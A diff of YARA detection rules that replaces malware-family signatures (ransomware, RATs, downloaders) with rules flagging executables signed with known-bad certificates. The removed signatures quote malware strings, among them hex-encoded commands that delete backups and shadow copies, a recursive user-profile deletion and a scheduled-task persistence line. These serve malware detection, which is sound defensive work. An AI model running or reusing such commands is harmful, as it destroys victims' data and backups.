-		$o1 = { c3 8b 65 e8 c7 45 fc fe ff ff ff 8b b5 f4 e9 ff }
-		$o2 = { 0f 8c 27 ff ff ff 33 db 57 e8 7b 36 00 00 eb 0a }
-		$o3 = { 0f 8c 2a ff ff ff 53 57 e8 b7 42 00 00 8b 4c 24 }
+		thumbprint = "8fa4298057066c9ef96c28b2dd065e8896327658"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of ($s*) or ( all of ($o*) and (2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Ornitek" and pe.signatures[i].serial=="00:ad:25:5d:4e:be:fa:75:1f:37:82:58:73:96:c0:86:29")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Sunshuttle : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_084B6F19898214A02A5F32E6Ea69F0Fd : FILE
 {
 	meta:
-		description = "Detects SunShuttle / GoldMax"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1618d0bc-6e72-5f1e-81e7-56611bfd7f8b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "37149424-6ce7-56db-98c5-3895bf3f5c9b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4995-L5017"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5897-L5908"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fa8feb069e73aa0a7fcb4daecc1fdf8edeff65e5aeefef161626647fe989e5c0"
+		logic_hash = "844339ec8aaf93e279b294830a842f007d97adc4be4f6910d143ee16e5710ed5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "main.beaconing" fullword ascii
-		$s2 = "main.clean_file" fullword ascii
-		$s3 = "main.decrypt" fullword ascii
-		$s4 = "main.define_internal_settings" fullword ascii
-		$s5 = "main.delete_empty" fullword ascii
-		$s6 = "main.encrypt" fullword ascii
-		$s7 = "main.false_requesting" fullword ascii
-		$s8 = "main.removeBase64Padding" fullword ascii
-		$s9 = "main.resolve_command" fullword ascii
-		$s10 = "main.retrieve_session_key" fullword ascii
-		$s11 = "main.save_internal_settings" fullword ascii
-		$s12 = "main.send_command_result" fullword ascii
-		$s13 = "main.send_file_part" fullword ascii
-		$s14 = "main.wget_file" fullword ascii
-		$s15 = "main.write_file" fullword ascii
+		thumbprint = "4b89f40ba2c83c3e65d2be59abb3385cde401581"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TORG-ALYANS, LLC" and pe.signatures[i].serial=="08:4b:6f:19:89:82:14:a0:2a:5f:32:e6:ea:69:f0:fd")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Ranzylocker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_24C1Ef800F275Ab2780280C595De3464 : FILE
 {
 	meta:
-		description = "Detects RanzyLocker / REntS ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "0d74f6fd-e1d2-5939-991e-7fdd2ca3310b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0bd14ac3-9761-5ac4-8cdc-6212a92c5b5d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5019-L5042"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5910-L5921"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "15897144843acf49b81c5428fd1bb56d7a2acf16047a6e5d3ca4f2aaa8891577"
+		logic_hash = "773fdb6d15a5bd1282dd9a48601b453b62de2e9832822858ad750c6462d6e116"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$hr1 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii
-		$hr2 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii
-		$hr3 = "626364656469742E657865202F736574207B64656661756C747D207265636F76657279656E61626C6564204E6F" ascii
-		$hr4 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii
-		$hr5 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573" ascii
-		$hr6 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii
-		$hx1 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838" ascii
-		$hx2 = "534F4654574152455C4D6963726F736F66745C45524944" ascii
-		$hx3 = "227375626964223A22" ascii
-		$hx4 = "226E6574776F726B223A22" ascii
-		$hx5 = "726561646D652E747874" ascii
-		$hx6 = "-nolan" fullword wide
-		$o1 = { 8d 45 e9 89 9d 54 ff ff ff 88 9d 44 ff ff ff 3b }
-		$o2 = { 8b 44 24 2? 8b ?c 24 34 40 8b 54 24 38 89 44 24 }
-		$o3 = { 8b 44 24 2? 8b ?c 24 1c 89 44 24 34 8b 44 24 28 }
-		$o4 = { 8b 44 24 2? 8b ?c 24 34 05 00 00 a0 00 89 44 24 }
+		thumbprint = "836b81154eb924fe741f50a21db258da9b264b85"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($hx*) or (2 of ($hr*) and 2 of ($hx*)) or ( all of ($o*) and 2 of ($h*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HOLGAN LIMITED" and pe.signatures[i].serial=="24:c1:ef:80:0f:27:5a:b2:78:02:80:c5:95:de:34:64")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Wobbychipmbr : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6401831B46588B9D872B02076C3A7B00 : FILE
 {
 	meta:
-		description = "Detects WobbyChipMBR / Covid-21 ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "581fbce1-128d-5323-a259-14d9bfdf09b1"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d651bbe4-7e50-51bc-8f96-a78b11846699"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5044-L5060"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5923-L5934"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "168c7f610625131c9552252d2b824a90918d2961996ee0f783497dff5cf17351"
+		logic_hash = "9a90c9d51dd6eb37bb3b6b17c5e3e5ebb6b6922efa14e3d8d60e72bcdb7b7259"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "You became a Victim of the Covid-21 Ransomware" ascii wide
-		$x2 = "Reinstalling Windows has been blocked" ascii wide
-		$x3 = "Enter Decryption Key:" ascii wide
-		$x4 = "encrypted with military grade encryption" ascii wide
-		$s1 = "schtasks.exe /Create /TN wininit /ru SYSTEM /SC ONSTART /TR" ascii
-		$s2 = "\\EFI\\Boot\\bootx64.efi" ascii wide
-		$s3 = "DumpHex" fullword ascii
-		$s4 = "TFTP Error" fullword wide
-		$s5 = "HD(Part%d,MBRType=%02x,SigType=%02x)" fullword wide
+		thumbprint = "19fc95ac815865e8b57c80ed21a22e2c0fecc1ff"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($x*) or all of ($s*) or (1 of ($x*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ACTIV GROUP ApS" and pe.signatures[i].serial=="64:01:83:1b:46:58:8b:9d:87:2b:02:07:6c:3a:7b:00")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Snatch : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Cf1Ed2A6Ff4Bee621Efdf725Ea174B7 : FILE
 {
 	meta:
-		description = "Detects Snatch / GoRansome / MauriGo ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "00dce673-b909-571f-8117-c5d4ce73fb31"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f3cb7bd9-9e28-5478-b65d-60915157dd3b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5062-L5091"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5936-L5947"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bf8c33a7203458c80a43944c3117bb897b1702f0024271904d9be682cbd695fc"
+		logic_hash = "2902b075f40f1413eee937c045e082a3141ec309f9d8e1dfd3a384050ea0776c"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "main.encryptFile" ascii
-		$s2 = "main.encryptFileExt" ascii
-		$s3 = "main.deleteShadowCopy" ascii
-		$s4 = "main.Shadow" fullword ascii
-		$s5 = "main.RecoverMe" fullword ascii
-		$s6 = "main.EncryptWithPublicKey" ascii
-		$s7 = "main.EncoderLookupDir" fullword ascii
-		$s8 = "main.ALIGNUP" fullword ascii
-		$s9 = "main.encrypt" fullword ascii
-		$s10 = "github.com/mauri870/ransomware" ascii
-		$m1 = "Dear You, ALl Your files On YOUR network computers are encrypted" ascii
-		$m2 = "You have to pay the ransom of %s USD in bitcoins to the address" ascii
-		$m3 = "REMEMBER YOU FILES ARE IN SAVE HANDS AND WILL BE RESTORED OR RECOVERED ONCE PAYMENT IS DONE" ascii
-		$m4 = ":HELP FEEED A CHILD:" ascii
-		$m5 = ">SYSTEM NETWORK ENCRYPTED<" ascii
-		$m6 = "YOUR IDENTIFICATION : %s" ascii
-		$m7 = "convince you of our honesty" ascii
-		$m8 = "use TOR browser to talk with support" ascii
-		$m9 = "encrypted and attackers are taking" ascii
-		$p1 = "/Go/src/kitty/kidrives/" ascii
-		$p2 = "/LGoGo/encoder.go" ascii nocase
-		$p3 = "/Go/src/kitty/kidata/" ascii
+		thumbprint = "e33dc0787099d92a712894cfef2aaba3f0d65359"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) or 2 of ($m*) or (1 of ($m*) and 1 of ($s*)) or ( all of ($p*) and (1 of ($s*) or 1 of ($m*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LEVEL LIST SP Z O O" and pe.signatures[i].serial=="0c:f1:ed:2a:6f:f4:be:e6:21:ef:df:72:5e:a1:74:b7")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Meteorite : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7Ed801843Fa001B8Add52D3A97B25931 : FILE
 {
 	meta:
-		description = "Detects Meteorite downloader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ce7a72ce-56a8-5def-a952-f0b08efe8a4a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8dc9fbde-57bb-56ca-b925-902059612606"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5093-L5109"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5949-L5960"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0ae8183d949046be4257b48571a266f2501d60dd302f511ca1a2d518884e6a7f"
+		logic_hash = "2607dde1318b9b84056fc73664e4c1f82f20c23f311216e2201c3fdee0d1b6db"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "MeteoriteDownloader" fullword ascii wide
-		$x2 = "Meteorite Downloader" fullword ascii wide
-		$x3 = "Meteorite Downloader v" wide
-		$s1 = "regwrite" fullword wide
-		$s2 = "urlmon" fullword ascii
-		$s3 = "wscript.shell" fullword wide
-		$s4 = "modMain" fullword ascii
-		$s5 = "VBA6.DLL" fullword ascii
-		$s6 = "^_http" ascii
+		thumbprint = "4ee1539c1455f0070d8d04820fb814f8794f84df"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or (5 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AM El-Teknik ApS" and pe.signatures[i].serial=="7e:d8:01:84:3f:a0:01:b8:ad:d5:2d:3a:97:b2:59:31")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Legionlocker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0F0Ed5318848703405D40F7C62D0F39A : FILE
 {
 	meta:
-		description = "Detects LegionLocker ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4e5c50d0-808e-5adb-bce9-804ddf66ca61"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "6baebaa7-275c-571d-b321-9a21d7799a33"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5111-L5129"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5962-L5973"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2da897b5603415f14fff134b3a94d77e6963da79e117d26ba16e6b04e45f4045"
+		logic_hash = "77bd8fd2dc48e2fc8abbf0f3411dfa8010326b6a9928fb392cce6e0fe8e9d309"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$m1 = "+Do not run task manager, powershell, cmd etc." ascii wide
-		$m2 = "3 hours your files will be deleted." ascii wide
-		$m3 = "files have been encrypted by Legion Locker" ascii wide
-		$s1 = "passwordBytes" fullword ascii
-		$s2 = "_start_enc_" ascii
-		$s3 = "_del_desktop_" ascii
-		$s4 = "Processhacker" wide
-		$s5 = "/k color 47 && del /f /s /q %userprofile%\\" wide
-		$s6 = "Submit code" fullword wide
-		$pdb1 = "\\obj\\Debug\\LegionLocker.pdb" ascii
-		$pdb2 = "\\obj\\Release\\LegionLocker.pdb" ascii
+		thumbprint = "ed91194ee135b24d5df160965d8036587d6c8c35"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($m*) or 1 of ($pdb*) or 4 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SIES UPRAVLENIE PROTSESSAMI, OOO" and pe.signatures[i].serial=="0f:0e:d5:31:88:48:70:34:05:d4:0f:7c:62:d0:f3:9a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagentgo : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_537Aa4F1Bae48F052C3E57C3E2E1Ee61 : FILE
 {
 	meta:
-		description = "Detects Go-based downloader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e16ccb89-2eb6-5457-a88e-f802f3c35764"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "33316c5e-b14f-50b5-8971-3a8b5a3c2497"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5131-L5144"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5975-L5986"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b9dd2446eddff18be00feb34d8911600feb395a9ce2566786d42b48b444230d0"
+		logic_hash = "83d205998f43a2404146064e13726c149bc56fed6b886ee1812378c027f03da0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "main.downloadFile" fullword ascii
-		$s2 = "main.fetchFiles" fullword ascii
-		$s3 = "main.createDefenderAllowanceException" fullword ascii
-		$s4 = "main.unzip" fullword ascii
-		$s5 = "HideWindow" fullword ascii
-		$s6 = "/go/src/installwrap/main.go" ascii
+		thumbprint = "15355505a242c44d6c36abab6267cc99219a931c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ALPHA AME LIMITED LLP" and pe.signatures[i].serial=="53:7a:a4:f1:ba:e4:8f:05:2c:3e:57:c3:e2:e1:ee:61")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Blackmoon : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_61B11Ef9726Ab2E78132E01Bd791B336 : FILE
 {
 	meta:
-		description = "Detects executables using BlackMoon RunTime"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "76071d36-3d2d-589c-8c3f-0ae60e69996e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5b830ab1-16d2-573c-81b7-b8b922af6f4b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5146-L5155"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5988-L5999"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "05bfde8ec3a469df5707c195e25995ac6af730e8a1595b1a598276c024420be2"
+		logic_hash = "50c89d732409ff680734f481d858256001245c10345d9e6f1cbb51dcdc9c2cc9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "blackmoon" fullword ascii
-		$s2 = "BlackMoon RunTime Error:" fullword ascii
+		thumbprint = "9f7fcfd7e70dd7cd723ac20e5e7cb7aad1ba976b"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Skalari" and pe.signatures[i].serial=="61:b1:1e:f9:72:6a:b2:e7:81:32:e0:1b:d7:91:b3:36")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Iceid : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_E339C8069126Aa6313484Fea85B4B326F7B8860C : FILE
 {
 	meta:
-		description = "Detects IceID / Bokbot variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "0da94737-0f82-5892-a0eb-f9f3c0a114cc"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a8a6a285-98e1-5a2a-ab89-c67809fea3b2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5157-L5176"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6001-L6012"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "204b4c297806a36ca14bb3e659824f4eb49b18308af7090f0db1194705f1e2c9"
+		logic_hash = "6f373c5a8f99893088fa1afffeccdf24ae6ed118d7bea9df43281073bd8e85bb"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$n1 = "POST" fullword wide
-		$n2 = "; _gat=" fullword wide
-		$n3 = "; _ga=" fullword wide
-		$n4 = "; _u=" fullword wide
-		$n5 = "; __io=" fullword wide
-		$n6 = "; _gid=" fullword wide
-		$n7 = "Cookie: __gads=" fullword wide
-		$s1 = "c:\\ProgramData" ascii
-		$s2 = "loader_dll_64.dll" fullword ascii
-		$s3 = "loader_dll_32.dll" fullword ascii
-		$s4 = "/?id=%0.2X%0.8X%0.8X%s" ascii
-		$s5 = "%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.8X" ascii
+		thumbprint = "e339c8069126aa6313484fea85b4b326f7b8860c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($n*) and 1 of ($s*)) or (3 of ($s*) and 1 of ($n*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Germany classer software" and pe.signatures[i].serial=="01")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Purge : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_734D0Baf7A6B44743Ff852C8Ba7A751A7Ff0Ec73 : FILE
 {
 	meta:
-		description = "Detects Purge ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b3fb9f38-ce12-5e0e-8908-3379b5da3497"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "1dc06f6e-2152-516a-b9cc-0d95c098c88f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5178-L5201"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6031-L6042"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "83d13eca69bc99539e47d6d29689edf2a4fcd2260c6e909582126a490eef8115"
+		logic_hash = "54620c58bae2c2f9859916a58b0fef4310dd27fdada663c28bb7d58bdaefc7c5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$n1 = "imagesave/imagesize.php" ascii
-		$n2 = "imageinfo.html" ascii
-		$n3 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" ascii
-		$n4 = "Content-Type: application/x-www-form-urlencoded" ascii
-		$m1 = "YOUR_ID: %x%x" wide
-		$m2 = "Specially for your PC was generated personal" wide
-		$m3 = "which is on our Secret Server" wide
-		$m4 = "wait for a miracle and get your price" wide
-		$s1 = "%s\\SpyHunter Remove Ransomware" wide
-		$s2 = "$recycle.bin" fullword wide
-		$s3 = "TheEnd" fullword wide
-		$s4 = "%s\\HELP_DECRYPT_YOUR_FILES.TXT" fullword wide
-		$s5 = "%s.id_%x%x_email_" wide
-		$s6 = "scmd" fullword wide
-		$s7 = "process call create \"%s\"" wide
-		$s8 = "FinishEnds" fullword ascii
+		thumbprint = "734d0baf7a6b44743ff852c8ba7a751a7ff0ec73"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or all of ($n*) or 2 of ($m*) or (3 of ($s*) and (1 of ($n*) or 1 of ($m*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Transition software (C) 2018" and pe.signatures[i].serial=="01")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Njrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_02Fa994D660De659Ee9037Ecb437D766 : FILE
 {
 	meta:
-		description = "Detects NjRAT / Bladabindi / NjRAT Golden"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "078dea64-8f95-5939-a1fb-c0a888adcf0d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "cb2aa5d6-913e-5d74-a903-1cb88fb63b1c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5203-L5220"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6044-L6056"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "92d535a7c7f361b7a0901d0b99427ebc82a69577bfea73c04a7f9d51d2054b36"
+		hash = "0868a2a7b5e276d3a4a40cdef994de934d33d62a689d7207a31fd57d012ef948"
+		logic_hash = "04244701311fcdc77b1e3a8f20621e474ed607be3d109c629280d528e2f24e1f"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = /Njrat\s\d+\.\d+\sGolden\s/ wide
-		$s1 = /\sfirewall\s(add|delete)\sallowedprogram/ wide
-		$s2 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 (63|6b) 00 20 00 70 00 69 00 6e 00 67 }
-		$s3 = "Execute ERROR" wide
-		$s4 = "Download ERROR" wide
-		$s5 = "[kl]" fullword wide
-		$s6 = "UploadValues" fullword wide
-		$s7 = "winmgmts:\\\\.\\root\\SecurityCenter2" fullword wide
-		$s8 = "HideM" fullword wide
-		$s9 = "No Antivirus" fullword wide
+		thumbprint = "0cb6bde041b58dbd4ec64bd5a3be38c50f17bb3d"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Piriform Software Ltd" and pe.signatures[i].serial=="02:fa:99:4d:66:0d:e6:59:ee:90:37:ec:b4:37:d7:66")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Darktrackrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0B446546C36525Bf5F084F6Bbbba7097 : FILE
 {
 	meta:
-		description = "Detects OzoneRAT / DarkTrack / DarkSky"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ef8675f8-f643-5948-a967-e4a9ce5ab89e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "608a410d-d34f-5eea-92db-3d156d01d360"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5222-L5245"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6058-L6071"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2a831c0f7707864d8c9e9fa338085a52933869d8cfbdbe0d12715da301c12646"
+		hash = "3163ffc06848f6c48ac460ab844470ef85a07b847bf187c2c9cb26c14032a1a5"
+		logic_hash = "6dcf87b929c28cc013ee5c9de85aa026e335e1e5c38a440bc6b5dc11c6bf9a91"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "Klog.dat" ascii
-		$x2 = "I_AM_DT" ascii
-		$x3 = " Alien" ascii
-		$x4 = "Local Victim" ascii
-		$x5 = "Dtback\\AlienEdition\\Server\\SuperObject.pas" ascii
-		$x6 = "].encryptedUsername" ascii
-		$x7 = "].encryptedPassword" ascii
-		$x8 = { 49 41 4d [6] 44 41 52 [0-2] 4b [6] 44 54 41 43 4b }
-		$s1 = "AntiVirusProduct" ascii
-		$s2 = "AntiSpywareProduct" ascii
-		$s3 = "ConnectServer" ascii
-		$s4 = "ExecQuery" ascii
-		$s5 = "\\Drivers\\Etc\\Hosts" fullword ascii
-		$s6 = "BTMemoryLoadLibary: Get DLLEntyPoint" ascii
-		$s7 = "\\\\.\\SyserDbgMsg" fullword ascii
-		$s8 = "\\\\.\\SyserBoot" fullword ascii
+		thumbprint = "05cdf79b0effff361dac0363adaa75b066c49de0"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($x*) or 6 of ($s*))
